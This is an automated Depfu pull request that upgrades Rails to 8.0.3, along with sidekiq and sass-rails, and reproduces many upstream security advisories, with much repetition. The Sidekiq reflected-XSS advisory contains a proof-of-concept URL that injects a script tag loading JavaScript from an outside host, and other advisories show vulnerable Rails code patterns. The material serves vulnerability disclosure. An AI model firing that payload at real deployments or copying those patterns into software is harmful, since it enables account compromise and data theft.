Depfu

🚨 [security] Update rails 5.2.4.2 → 8.0.3 (major)

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ rails (5.2.4.2 → 8.0.3) · Repo

Security Advisories 🚨

🚨 Rails has possible XSS Vulnerability in Action Controller

Possible XSS Vulnerability in Action Controller

There is a possible XSS vulnerability when using the translation helpers
(translate, t, etc) in Action Controller. This vulnerability has been
assigned the CVE identifier CVE-2024-26143.

Versions Affected: >= 7.0.0.
Not affected: < 7.0.0
Fixed Versions: 7.1.3.1, 7.0.8.1

Impact

Applications using translation methods like translate, or t on a
controller, with a key ending in "_html", a :default key which contains
untrusted user input, and the resulting string is used in a view, may be
susceptible to an XSS vulnerability.

For example, impacted code will look something like this:
class ArticlesController < ApplicationController
  def show  
    @message = t("message_html", default: untrusted_input)
    # The `show` template displays the contents of `@message`
  end
end
To reiterate the pre-conditions, applications must:

Use a translation function from a controller (i.e. not I18n.t, or t from
a view)

Use a key that ends in _html

Use a default value where the default value is untrusted and unescaped input

Send the text to the victim (whether that's part of a template, or a
render call)

All users running an affected release should either upgrade or use one of the
workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

7-0-translate-xss.patch - Patch for 7.0 series

7-1-translate-xss.patch - Patch for 7.1 series

Credits

Thanks to ooooooo_q for the patch and fix!

🚨 Rails has possible XSS Vulnerability in Action Controller

Possible XSS Vulnerability in Action Controller

There is a possible XSS vulnerability when using the translation helpers
(translate, t, etc) in Action Controller. This vulnerability has been
assigned the CVE identifier CVE-2024-26143.

Versions Affected: >= 7.0.0.
Not affected: < 7.0.0
Fixed Versions: 7.1.3.1, 7.0.8.1

Impact

Applications using translation methods like translate, or t on a
controller, with a key ending in "_html", a :default key which contains
untrusted user input, and the resulting string is used in a view, may be
susceptible to an XSS vulnerability.

For example, impacted code will look something like this:
class ArticlesController < ApplicationController
  def show  
    @message = t("message_html", default: untrusted_input)
    # The `show` template displays the contents of `@message`
  end
end
To reiterate the pre-conditions, applications must:

Use a translation function from a controller (i.e. not I18n.t, or t from
a view)

Use a key that ends in _html

Use a default value where the default value is untrusted and unescaped input

Send the text to the victim (whether that's part of a template, or a
render call)

All users running an affected release should either upgrade or use one of the
workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

7-0-translate-xss.patch - Patch for 7.0 series

7-1-translate-xss.patch - Patch for 7.1 series

Credits

Thanks to ooooooo_q for the patch and fix!

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 55 commits:

✳️ sass-rails (5.0.6 → 5.1.0) · Repo

Release Notes

5.0.7

Remove ruby warnings

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 15 commits:

✳️ sidekiq (6.0.0 → 7.3.9) · Repo · Changelog

Security Advisories 🚨

🚨 Sidekiq vulnerable to a Reflected XSS in Queues Web Page

Description:

During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application.

This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data.

Impact:

The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc.

Mitigation:

Encode all output data before rendering it in the response to prevent XSS attacks.

Steps to Reproduce:

Go to the following URL of the sidekiq Web UI:
https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E

XSS payload will be executed, causing a popup.

Evidence:

Figure 1: Source Code Vulnerable to XSS

Figure 2: XSS payload triggered

🚨 sidekiq Denial of Service vulnerability

Versions of the package sidekiq before 7.1.3 and 6.5.10 are vulnerable to Denial of Service (DoS) due to insufficient checks in the dashboard-charts.js file. An attacker can exploit this vulnerability by manipulating the localStorage value which will cause excessive polling requests.

🚨 sidekiq Denial of Service vulnerability

Versions of the package sidekiq before 7.1.3 and 6.5.10 are vulnerable to Denial of Service (DoS) due to insufficient checks in the dashboard-charts.js file. An attacker can exploit this vulnerability by manipulating the localStorage value which will cause excessive polling requests.

🚨 sidekiq vulnerable to cross-site scripting

sidekiq from 7.0.4 to 7.0.7 is vulnerable to reflected cross-site scripting. A fix was released in version 7.0.8.

🚨 Denial of service in sidekiq

In api.rb in Sidekiq before 6.4.0 and 5.2.10, there is no limit on the number of days when requesting stats for the graph. This overloads the system, affecting the Web UI, and makes it unavailable to users.

🚨 Cross-site Scripting in Sidekiq

Sidekiq through 5.1.3 and 6.x through 6.2.0 allows XSS via the queue name of the live-poll feature when Internet Explorer is used.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actioncable (indirect, 5.2.4.2 → 8.0.3) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 55 commits:

↗️ actionmailer (indirect, 5.2.4.2 → 8.0.3) · Repo · Changelog

Security Advisories 🚨

🚨 Possible ReDoS vulnerability in block_format in Action Mailer

There is a possible ReDoS vulnerability in the block_format helper in Action Mailer. This vulnerability has been assigned the CVE identifier CVE-2024-47889.

Impact

Carefully crafted text can cause the block_format helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 requires Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users can avoid calling the block_format helper or upgrade to Ruby 3.2

Credits

Thanks to yuki_osaki for the report!

🚨 Possible ReDoS vulnerability in block_format in Action Mailer

There is a possible ReDoS vulnerability in the block_format helper in Action Mailer. This vulnerability has been assigned the CVE identifier CVE-2024-47889.

Impact

Carefully crafted text can cause the block_format helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 requires Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users can avoid calling the block_format helper or upgrade to Ruby 3.2

Credits

Thanks to yuki_osaki for the report!

🚨 Possible ReDoS vulnerability in block_format in Action Mailer

There is a possible ReDoS vulnerability in the block_format helper in Action Mailer. This vulnerability has been assigned the CVE identifier CVE-2024-47889.

Impact

Carefully crafted text can cause the block_format helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 requires Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users can avoid calling the block_format helper or upgrade to Ruby 3.2

Credits

Thanks to yuki_osaki for the report!

🚨 Possible ReDoS vulnerability in block_format in Action Mailer

There is a possible ReDoS vulnerability in the block_format helper in Action Mailer. This vulnerability has been assigned the CVE identifier CVE-2024-47889.

Impact

Carefully crafted text can cause the block_format helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 requires Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users can avoid calling the block_format helper or upgrade to Ruby 3.2

Credits

Thanks to yuki_osaki for the report!

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 55 commits:

↗️ actionpack (indirect, 5.2.4.2 → 8.0.3) · Repo · Changelog

Security Advisories 🚨

🚨 Possible Content Security Policy bypass in Action Dispatch

There is a possible Cross Site Scripting (XSS) vulnerability in the content_security_policy helper in Action Pack.

Impact

Applications which set Content-Security-Policy (CSP) headers dynamically from untrusted user input may be vulnerable to carefully crafted inputs being able to inject new directives into the CSP. This could lead to a bypass of the CSP and its protection against XSS and other attacks.

Releases

The fixed releases are available at the normal locations.

Workarounds

Applications can avoid setting CSP headers dynamically from untrusted input, or can validate/sanitize that input.

Credits

Thanks to ryotak for the report!

🚨 Possible Content Security Policy bypass in Action Dispatch

There is a possible Cross Site Scripting (XSS) vulnerability in the content_security_policy helper in Action Pack.

Impact

Applications which set Content-Security-Policy (CSP) headers dynamically from untrusted user input may be vulnerable to carefully crafted inputs being able to inject new directives into the CSP. This could lead to a bypass of the CSP and its protection against XSS and other attacks.

Releases

The fixed releases are available at the normal locations.

Workarounds

Applications can avoid setting CSP headers dynamically from untrusted input, or can validate/sanitize that input.

Credits

Thanks to ryotak for the report!

🚨 Possible Content Security Policy bypass in Action Dispatch

There is a possible Cross Site Scripting (XSS) vulnerability in the content_security_policy helper in Action Pack.

Impact

Applications which set Content-Security-Policy (CSP) headers dynamically from untrusted user input may be vulnerable to carefully crafted inputs being able to inject new directives into the CSP. This could lead to a bypass of the CSP and its protection against XSS and other attacks.

Releases

The fixed releases are available at the normal locations.

Workarounds

Applications can avoid setting CSP headers dynamically from untrusted input, or can validate/sanitize that input.

Credits

Thanks to ryotak for the report!

🚨 Possible Content Security Policy bypass in Action Dispatch

There is a possible Cross Site Scripting (XSS) vulnerability in the content_security_policy helper in Action Pack.

Impact

Applications which set Content-Security-Policy (CSP) headers dynamically from untrusted user input may be vulnerable to carefully crafted inputs being able to inject new directives into the CSP. This could lead to a bypass of the CSP and its protection against XSS and other attacks.

Releases

The fixed releases are available at the normal locations.

Workarounds

Applications can avoid setting CSP headers dynamically from untrusted input, or can validate/sanitize that input.

Credits

Thanks to ryotak for the report!

🚨 Possible ReDoS vulnerability in HTTP Token authentication in Action Controller

There is a possible ReDoS vulnerability in Action Controller's HTTP Token authentication. This vulnerability has been assigned the CVE identifier CVE-2024-47887.

Impact

For applications using HTTP Token authentication via authenticate_or_request_with_http_token or similar, a carefully crafted header may cause header parsing to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for reporting

🚨 Possible ReDoS vulnerability in query parameter filtering in Action Dispatch

There is a possible ReDoS vulnerability in the query parameter filtering routines of Action Dispatch. This vulnerability has been assigned the CVE identifier CVE-2024-41128.

Impact

Carefully crafted query parameters can cause query parameter filtering to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for the report and patches!

🚨 Possible ReDoS vulnerability in HTTP Token authentication in Action Controller

There is a possible ReDoS vulnerability in Action Controller's HTTP Token authentication. This vulnerability has been assigned the CVE identifier CVE-2024-47887.

Impact

For applications using HTTP Token authentication via authenticate_or_request_with_http_token or similar, a carefully crafted header may cause header parsing to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for reporting

🚨 Possible ReDoS vulnerability in HTTP Token authentication in Action Controller

There is a possible ReDoS vulnerability in Action Controller's HTTP Token authentication. This vulnerability has been assigned the CVE identifier CVE-2024-47887.

Impact

For applications using HTTP Token authentication via authenticate_or_request_with_http_token or similar, a carefully crafted header may cause header parsing to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for reporting

🚨 Possible ReDoS vulnerability in HTTP Token authentication in Action Controller

There is a possible ReDoS vulnerability in Action Controller's HTTP Token authentication. This vulnerability has been assigned the CVE identifier CVE-2024-47887.

Impact

For applications using HTTP Token authentication via authenticate_or_request_with_http_token or similar, a carefully crafted header may cause header parsing to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for reporting

🚨 Possible ReDoS vulnerability in query parameter filtering in Action Dispatch

There is a possible ReDoS vulnerability in the query parameter filtering routines of Action Dispatch. This vulnerability has been assigned the CVE identifier CVE-2024-41128.

Impact

Carefully crafted query parameters can cause query parameter filtering to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for the report and patches!

🚨 Possible ReDoS vulnerability in query parameter filtering in Action Dispatch

There is a possible ReDoS vulnerability in the query parameter filtering routines of Action Dispatch. This vulnerability has been assigned the CVE identifier CVE-2024-41128.

Impact

Carefully crafted query parameters can cause query parameter filtering to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for the report and patches!

🚨 Possible ReDoS vulnerability in query parameter filtering in Action Dispatch

There is a possible ReDoS vulnerability in the query parameter filtering routines of Action Dispatch. This vulnerability has been assigned the CVE identifier CVE-2024-41128.

Impact

Carefully crafted query parameters can cause query parameter filtering to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for the report and patches!

🚨 Missing security headers in Action Pack on non-HTML responses

Permissions-Policy is Only Served on HTML Content-Type

The application configurable Permissions-Policy is only served on responses
with an HTML related Content-Type.

This has been assigned the CVE identifier CVE-2024-28103.

Versions Affected: >= 6.1.0
Not affected: < 6.1.0
Fixed Versions: 6.1.7.8, 7.0.8.4, and 7.1.3.4

Impact

Responses with a non-HTML Content-Type are not serving the configured Permissions-Policy. There are certain non-HTML Content-Types that would benefit from having the Permissions-Policy enforced.

Releases

The fixed releases are available at the normal locations.

Workarounds

N/A

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the supported release series in accordance with our
maintenance policy
regarding security issues. They are in git-am format and consist of a
single changeset.

6-1-include-permissions-policy-header-on-non-html.patch - Patch for 6.1 series

7-0-include-permissions-policy-header-on-non-html.patch - Patch for 7.0 series

7-1-include-permissions-policy-header-on-non-html.patch - Patch for 7.1 series

Credits

Thank you shinkbr for reporting this!

🚨 Missing security headers in Action Pack on non-HTML responses

Permissions-Policy is Only Served on HTML Content-Type

The application configurable Permissions-Policy is only served on responses
with an HTML related Content-Type.

This has been assigned the CVE identifier CVE-2024-28103.

Versions Affected: >= 6.1.0
Not affected: < 6.1.0
Fixed Versions: 6.1.7.8, 7.0.8.4, and 7.1.3.4

Impact

Responses with a non-HTML Content-Type are not serving the configured Permissions-Policy. There are certain non-HTML Content-Types that would benefit from having the Permissions-Policy enforced.

Releases

The fixed releases are available at the normal locations.

Workarounds

N/A

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the supported release series in accordance with our
maintenance policy
regarding security issues. They are in git-am format and consist of a
single changeset.

6-1-include-permissions-policy-header-on-non-html.patch - Patch for 6.1 series

7-0-include-permissions-policy-header-on-non-html.patch - Patch for 7.0 series

7-1-include-permissions-policy-header-on-non-html.patch - Patch for 7.1 series

Credits

Thank you shinkbr for reporting this!

🚨 Missing security headers in Action Pack on non-HTML responses

Permissions-Policy is Only Served on HTML Content-Type

The application configurable Permissions-Policy is only served on responses
with an HTML related Content-Type.

This has been assigned the CVE identifier CVE-2024-28103.

Versions Affected: >= 6.1.0
Not affected: < 6.1.0
Fixed Versions: 6.1.7.8, 7.0.8.4, and 7.1.3.4

Impact

Responses with a non-HTML Content-Type are not serving the configured Permissions-Policy. There are certain non-HTML Content-Types that would benefit from having the Permissions-Policy enforced.

Releases

The fixed releases are available at the normal locations.

Workarounds

N/A

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the supported release series in accordance with our
maintenance policy
regarding security issues. They are in git-am format and consist of a
single changeset.

6-1-include-permissions-policy-header-on-non-html.patch - Patch for 6.1 series

7-0-include-permissions-policy-header-on-non-html.patch - Patch for 7.0 series

7-1-include-permissions-policy-header-on-non-html.patch - Patch for 7.1 series

Credits

Thank you shinkbr for reporting this!

🚨 Rails has possible XSS Vulnerability in Action Controller

Possible XSS Vulnerability in Action Controller

There is a possible XSS vulnerability when using the translation helpers
(translate, t, etc) in Action Controller. This vulnerability has been
assigned the CVE identifier CVE-2024-26143.

Versions Affected: >= 7.0.0.
Not affected: < 7.0.0
Fixed Versions: 7.1.3.1, 7.0.8.1

Impact

Applications using translation methods like translate, or t on a
controller, with a key ending in "_html", a :default key which contains
untrusted user input, and the resulting string is used in a view, may be
susceptible to an XSS vulnerability.

For example, impacted code will look something like this:
class ArticlesController < ApplicationController
  def show  
    @message = t("message_html", default: untrusted_input)
    # The `show` template displays the contents of `@message`
  end
end
To reiterate the pre-conditions, applications must:

Use a translation function from a controller (i.e. not I18n.t, or t from
a view)

Use a key that ends in _html

Use a default value where the default value is untrusted and unescaped input

Send the text to the victim (whether that's part of a template, or a
render call)

All users running an affected release should either upgrade or use one of the
workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

7-0-translate-xss.patch - Patch for 7.0 series

7-1-translate-xss.patch - Patch for 7.1 series

Credits

Thanks to ooooooo_q for the patch and fix!

🚨 Rails has possible XSS Vulnerability in Action Controller

Possible XSS Vulnerability in Action Controller

There is a possible XSS vulnerability when using the translation helpers
(translate, t, etc) in Action Controller. This vulnerability has been
assigned the CVE identifier CVE-2024-26143.

Versions Affected: >= 7.0.0.
Not affected: < 7.0.0
Fixed Versions: 7.1.3.1, 7.0.8.1

Impact

Applications using translation methods like translate, or t on a
controller, with a key ending in "_html", a :default key which contains
untrusted user input, and the resulting string is used in a view, may be
susceptible to an XSS vulnerability.

For example, impacted code will look something like this:
class ArticlesController < ApplicationController
  def show  
    @message = t("message_html", default: untrusted_input)
    # The `show` template displays the contents of `@message`
  end
end
To reiterate the pre-conditions, applications must:

Use a translation function from a controller (i.e. not I18n.t, or t from
a view)

Use a key that ends in _html

Use a default value where the default value is untrusted and unescaped input

Send the text to the victim (whether that's part of a template, or a
render call)

All users running an affected release should either upgrade or use one of the
workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

7-0-translate-xss.patch - Patch for 7.0 series

7-1-translate-xss.patch - Patch for 7.1 series

Credits

Thanks to ooooooo_q for the patch and fix!

🚨 Rails has possible ReDoS vulnerability in Accept header parsing in Action Dispatch

Possible ReDoS vulnerability in Accept header parsing in Action Dispatch

There is a possible ReDoS vulnerability in the Accept header parsing routines
of Action Dispatch. This vulnerability has been assigned the CVE identifier
CVE-2024-26142.

Versions Affected: >= 7.1.0, < 7.1.3.1
Not affected: < 7.1.0
Fixed Versions: 7.1.3.1

Impact

Carefully crafted Accept headers can cause Accept header parsing in Action
Dispatch to take an unexpected amount of time, possibly resulting in a DoS
vulnerability. All users running an affected release should either upgrade or
use one of the workarounds immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby
3.2 or newer are unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

7-1-accept-redox.patch - Patch for 7.1 series

Credits

Thanks svalkanov for the report and patch!

🚨 Actionpack has possible cross-site scripting vulnerability via User Supplied Values to redirect_to

The redirect_to method in Rails allows provided values to contain characters which are not legal in an HTTP header value. This results in the potential for downstream services which enforce RFC compliance on HTTP response headers to remove the assigned Location header. This vulnerability has been assigned the CVE identifier CVE-2023-28362.

Versions Affected: All. Not affected: None Fixed Versions: 7.0.5.1, 6.1.7.4

Impact

This introduces the potential for a Cross-site-scripting (XSS) payload to be delivered on the now static redirection page. Note that this both requires user interaction and for a Rails app to be configured to allow redirects to external hosts (defaults to false in Rails >= 7.0.x).

Releases

The FIXED releases are available at the normal locations.

Workarounds

Avoid providing user supplied URLs with arbitrary schemes to the redirect_to method.

🚨 Actionpack has possible cross-site scripting vulnerability via User Supplied Values to redirect_to

The redirect_to method in Rails allows provided values to contain characters which are not legal in an HTTP header value. This results in the potential for downstream services which enforce RFC compliance on HTTP response headers to remove the assigned Location header. This vulnerability has been assigned the CVE identifier CVE-2023-28362.

Versions Affected: All. Not affected: None Fixed Versions: 7.0.5.1, 6.1.7.4

Impact

This introduces the potential for a Cross-site-scripting (XSS) payload to be delivered on the now static redirection page. Note that this both requires user interaction and for a Rails app to be configured to allow redirects to external hosts (defaults to false in Rails >= 7.0.x).

Releases

The FIXED releases are available at the normal locations.

Workarounds

Avoid providing user supplied URLs with arbitrary schemes to the redirect_to method.

🚨 ReDoS based DoS vulnerability in Action Dispatch

There is a possible regular expression based DoS vulnerability in Action Dispatch related to the If-None-Match header. This vulnerability has been assigned the CVE identifier CVE-2023-22795.

Versions Affected: All Not affected: None Fixed Versions: 5.2.8.15 (Rails LTS), 6.1.7.1, 7.0.4.1

Impact

A specially crafted HTTP If-None-Match header can cause the regular expression engine to enter a state of catastrophic backtracking, when on a version of Ruby below 3.2.0. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

We recommend that all users upgrade to one of the FIXED versions. In the meantime, users can mitigate this vulnerability by using a load balancer or other device to filter out malicious If-None-Match headers before they reach the application.

Users on Ruby 3.2.0 or greater are not affected by this vulnerability.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
6-1-Avoid-regex-backtracking-on-If-None-Match-header.patch - Patch for 6.1 series
7-0-Avoid-regex-backtracking-on-If-None-Match-header.patch - Patch for 7.0 series
Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

🚨 ReDoS based DoS vulnerability in Action Dispatch

There is a possible regular expression based DoS vulnerability in Action Dispatch. This vulnerability has been assigned the CVE identifier CVE-2023-22792.

Versions Affected: >= 3.0.0 Not affected: < 3.0.0 Fixed Versions: 5.2.8.15 (Rails LTS), 6.1.7.1, 7.0.4.1
Impact

Specially crafted cookies, in combination with a specially crafted X_FORWARDED_HOST header can cause the regular expression engine to enter a state of catastrophic backtracking. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

We recommend that all users upgrade to one of the FIXED versions. In the meantime, users can mitigate this vulnerability by using a load balancer or other device to filter out malicious X_FORWARDED_HOST headers before they reach the application.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
6-1-Use-string-split-instead-of-regex-for-domain-parts.patch - Patch for 6.1 series
7-0-Use-string-split-instead-of-regex-for-domain-parts.patch - Patch for 7.0 series
Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

https://rubyonrails.org/2023/1/17/Rails-Versions-6-0-6-1-6-1-7-1-7-0-4-1-have-been-released

🚨 Open Redirect Vulnerability in Action Pack

There is a vulnerability in Action Controller’s redirect_to. This vulnerability has been assigned the CVE identifier CVE-2023-22797.

Versions Affected: >= 7.0.0 Not affected: < 7.0.0 Fixed Versions: 7.0.4.1
Impact

There is a possible open redirect when using the redirect_to helper with untrusted user input.

Vulnerable code will look like this:
redirect_to(params[:some_param])
Rails 7.0 introduced protection against open redirects from calling redirect_to with untrusted user input. In prior versions the developer was fully responsible for only providing trusted input. However the check introduced could be bypassed by a carefully crafted URL.

All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

There are no feasible workarounds for this issue.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
7-0-Fix-sec-issue-with-_url_host_allowed.patch - Patch for 7.0 series
Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

🚨 ReDoS based DoS vulnerability in Action Dispatch

There is a possible regular expression based DoS vulnerability in Action Dispatch. This vulnerability has been assigned the CVE identifier CVE-2023-22792.

Versions Affected: >= 3.0.0 Not affected: < 3.0.0 Fixed Versions: 5.2.8.15 (Rails LTS), 6.1.7.1, 7.0.4.1
Impact

Specially crafted cookies, in combination with a specially crafted X_FORWARDED_HOST header can cause the regular expression engine to enter a state of catastrophic backtracking. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

We recommend that all users upgrade to one of the FIXED versions. In the meantime, users can mitigate this vulnerability by using a load balancer or other device to filter out malicious X_FORWARDED_HOST headers before they reach the application.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
6-1-Use-string-split-instead-of-regex-for-domain-parts.patch - Patch for 6.1 series
7-0-Use-string-split-instead-of-regex-for-domain-parts.patch - Patch for 7.0 series
Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

https://rubyonrails.org/2023/1/17/Rails-Versions-6-0-6-1-6-1-7-1-7-0-4-1-have-been-released

🚨 ReDoS based DoS vulnerability in Action Dispatch

There is a possible regular expression based DoS vulnerability in Action Dispatch. This vulnerability has been assigned the CVE identifier CVE-2023-22792.

Versions Affected: >= 3.0.0 Not affected: < 3.0.0 Fixed Versions: 5.2.8.15 (Rails LTS), 6.1.7.1, 7.0.4.1
Impact

Specially crafted cookies, in combination with a specially crafted X_FORWARDED_HOST header can cause the regular expression engine to enter a state of catastrophic backtracking. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

We recommend that all users upgrade to one of the FIXED versions. In the meantime, users can mitigate this vulnerability by using a load balancer or other device to filter out malicious X_FORWARDED_HOST headers before they reach the application.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
6-1-Use-string-split-instead-of-regex-for-domain-parts.patch - Patch for 6.1 series
7-0-Use-string-split-instead-of-regex-for-domain-parts.patch - Patch for 7.0 series
Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

https://rubyonrails.org/2023/1/17/Rails-Versions-6-0-6-1-6-1-7-1-7-0-4-1-have-been-released

